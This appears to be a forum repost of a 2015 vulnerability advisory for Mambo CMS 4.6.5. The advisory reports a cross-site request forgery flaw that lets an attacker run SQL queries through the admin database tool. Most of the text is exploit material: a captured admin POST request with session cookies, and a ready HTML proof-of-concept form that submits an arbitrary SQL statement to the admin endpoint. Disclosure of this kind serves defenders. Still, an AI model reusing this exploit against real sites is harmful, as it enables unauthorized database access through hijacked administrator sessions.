Aerosol Posted March 18, 2015 Report Posted March 18, 2015 # Affected software: Mambo# Type of vulnerability: csrf to sql injection# URL: http://source.mambo-foundation.org/# Discovered by: Provensec# Website: http://www.provensec.com#version 4.6.5# Proof of conceptno csrf token were used on sql query form so attacker can leverage csrf toexecute sql query on admin endscreenshothttp://prntscr.com/6gk265POST /mambo/administrator/index2.php HTTP/1.1Host: demo.opensourcecms.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101Firefox/35.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://demo.opensourcecms.com/mambo/administrator/index2.phpCookie: __utma=87180614.347131305.1423813196.1426315580.1426317582.5;__utmz=87180614.1424330089.2.2.utmcsr=4homepages.de|utmccn=(referral)|utmcmd=referral|utmcct=/demo/;__gads=ID=e4fef836c4eca064:T=1424329959:S=ALNI_MZOrjDhCaPQBQcowebgQWskHX12kQ;__utmc=87180614; 5503d94d48147_SESSION=ben7euhc7r3j578q73sbnn9oq4;__utmb=87180614.1.10.1426317586; __utmt=1;25fee453fc1b1d324265b9cb23363e2c=san1g4th13mhokc4g5tk3muaa3;mostlyce[startup_key]=f1df635c5e35c15a244c554e356ad0e3;mostlyce[usertype]=Super+Administrator; webfxtab_modules-cpanel=4Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 47sql=select&option=com_mostlydbadmin&task=xqueryvulnerable paramter sqlpoc<html> <body> <form action="http://demo.opensourcecms.com/mambo/administrator/index2.php" method="POST"> <input type="hidden" name="sql" value="sql statement to execute " /> <input type="hidden" name="option" value="com_mostlydbadmin" /> <input type="hidden" name="task" value="xquery" /> <input type="submit" value="Submit request" /> </form> </body></html>Source Quote
